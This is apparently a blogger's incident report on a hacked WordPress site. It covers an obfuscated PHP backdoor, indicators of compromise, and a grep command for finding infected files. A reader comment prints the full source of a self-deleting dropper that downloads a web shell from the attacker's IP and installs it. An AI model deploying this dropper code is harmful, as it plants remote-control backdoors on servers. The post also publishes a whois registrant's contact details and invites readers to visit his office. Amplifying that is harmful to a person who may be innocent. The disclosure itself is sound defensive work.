By BoLOBOOLNE payday loans

Sorry for the downtime – we got hacked

My apologies that the blog has been down for the last few days.  Some hackers got into my PHP and inserted some malware onto the blog.  A helpful reader alerted me to the problem within hours of it happening, and I quickly turned the whole site off to prevent spreading malware.  It took me a few days to find the time to gain enough confidence that I understood what happened so that I could safely turn the site back on.  I won’t detail everything I did to lock the server down, but I’m pretty sure it’s safe now.  But if you see anything amiss, please contact me right away!

In the interest of keeping the internet safe, I’ll share what I found.  Dan Hill has a pretty good description of the problem on his blog, or at least a very similar one.  I know another friend who got hit in a similar manner.  They all have their sites hosted on dreamhost, as I do.  So it certainly could have been a result of the recent hacking there, but from what I saw, there are hints it is just an exploit of an insecure wordpress plugin.  In particular, the attack came in through Google Analytics for WordPress by joostdevalk (v 3.2.5).  Somehow the plugin directory had global-write (x777) permissions on it, and a couple rogue files were there including one called ainslieturing.php which is pure virus (as opposed to a modified file that was originally there and useful) and apparently the code which attaches the virus to all the other PHP files in the site.  The virus was triggered by a POST to the ainslieturing.php page from IP 176.65.163.29, which might be somewhere in Germany. Curiously, at the time of this writing, the exact phrase “ainslieturing.php” does not appear anywhere on the web, which is part of my motivation for documenting what happened.

Dissecting the ainslieturing file took a bit more work.  It was extra-obfuscated.  The code does the same thing of eval’ing a base64_decode’d string, but it does it in a way where the string “base64_decode” never shows up in the source (example source).  Presumably this is to make it harder  to detect when somebody is trying to clean up the mess.  For example, this avoids the simple sed fix posted on Dan Hill’s blog.  Additionally, the base64 encoded code appears written to avoid simple virus filters, because it is shuffled before evaluation by a key (143 in my case) which can be easily modified (example source).  The inner code is a PHP script which lets the attacker run arbitrary code on the server, or upload arbitrary files.  Interestingly, the whole thing is password protected, requiring the attacker to present a password with MD5 signature “ca3f717a5e53f4ce47b9062cfbfb2458″.   (Anybody feel like reversing that?)  If you want to check your  files to see if any of them have the double-obfuscated code, this will find them (and perhaps some false positives too):

grep ".x62.x61.x73.x65" * -R -l 2> /dev/null

Once ainslieturing was triggered, the rough symptoms were that a bunch of code got inserted at the top of many of wordpress’s PHP files which is lightly obfuscated through eval-base64-decode.  The virus code when de-obfuscated looks like this.  I haven’t bothered to fully understand it, but similar code has infected other people’s servers, with minor variations.  In particular, the code fetches some instructions from URLs which are doubly-obfuscated, but resolve to domains in Poland or Russia.  Many *.rr.nu domains with hoperjoper.ru as the nameserver and and in particular the throw-away domain ens122zzzddazz.com.  (Please be careful with these URLs — DO NOT JUST TYPE THEM INTO YOUR BROWSER.  Use wget and look at the files that come back.)  If you operate any blacklists, feel free to add these domains to them.

The …dazz domain in particular has a whois record which is not private:

Registrant:
Dan Brown [email protected] +022.824460528 +022.824460528
ENO
Aleje Ujazdowskie 20-44
Warszawa,Warszawa,AF 00540

So, Dan, if you actually exist, you either have some explaining to do, or your domain has been completely taken over.  If any of my readers are traveling to Warsaw, Poland and feeling intrepid, feel free to drop by Dan’s office and let me know what you find.

That’s all for now.  If you have anything relevant to add to the situation, please leave a comment.

  1. DS says:

    Hi Leo,

    I think I have the missing piece of your puzzle. A few weeks ago, I noticed a file named installer12.php in one of my tmp directories. This file is designed to self-destruct by the last line which is:

    @unlink(__FILE__);

    This is what’s missing in your puzzle. This code is what created your file ainslieturing.php. installer12.php has hundreds of words in an array, and it randomly combine two words to create a file name. In your case, it happens to pick “ainslie” and “turning”. Both of these words are in installer12.php.

    The reason why installer12.php did not self-destruct on my site (which is also hosted on Dream Host) is because my tmp directory is not publicly accessible. I have htaccess file that sets the web root elsewhere. So, the hacker somehow managed to copy this installer12.php into my tmp file, but could not trigger it because it’s not publicly accessible. So, it remains undeleted.

    installer12.php has Linux user of rp_admin and group of pg7029. Neither are mine, which means that the hacker did not copy installer12.php from any script on my site. If he was running a compromised script on my website, it would have my Linux user and group. My guess, therefore, is that the hacker had shell access to the shared server and able to copy installer12.php to any directory on the server with permission set to 777. In fact, my tmp directory had many subdirectories, and installer12.php was copied into all of them (about 100). So, some sort of script searched the server for any directory with 777 and automatically copied the script in all of them.

    Here’s the code part of installer12.php (right above this part is a big array with random words):

    function get_page($url){
    $ch1 = curl_init ();
    curl_setopt ($ch1, CURLOPT_URL,$url);
    curl_setopt ($ch1, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($ch1, CURLOPT_TIMEOUT, 1000);
    curl_setopt ($ch1, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt ($ch1, CURLOPT_USERAGENT, “Mozilla/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729)”);
    $results = curl_exec ($ch1);
    curl_close($ch1);
    return $results;
    }

    $buf = get_page(“http://176.65.163.29/newshell.txt”);
    shuffle($words);
    reset($words);
    $name = $words[0].$words[1].”.php”;
    $f = @fopen($name,”w”);
    if ((strstr($buf,”8b7b”)) && ($f)){
    @fwrite($f,$buf);
    @fclose($f);
    $host = $_SERVER[“HTTP_HOST”];
    $uri = $_SERVER[“REQUEST_URI”];
    $path = str_replace(“//”,”/”,pathinfo($uri,PATHINFO_DIRNAME).”/”.$name);
    echo “|||OK|||http://$host”.$path.”|||”;
    } else {
    echo “|||BAD|||cant open file $name or cant get sh|||”;
    }
    @unlink(__FILE__);

  1. […] combines two words to create a file name. What this file with a random name does is explained by Leo Parker Dirac on his blog. In his case, installer12.php happens to pick “ainslie” and “turning” to […]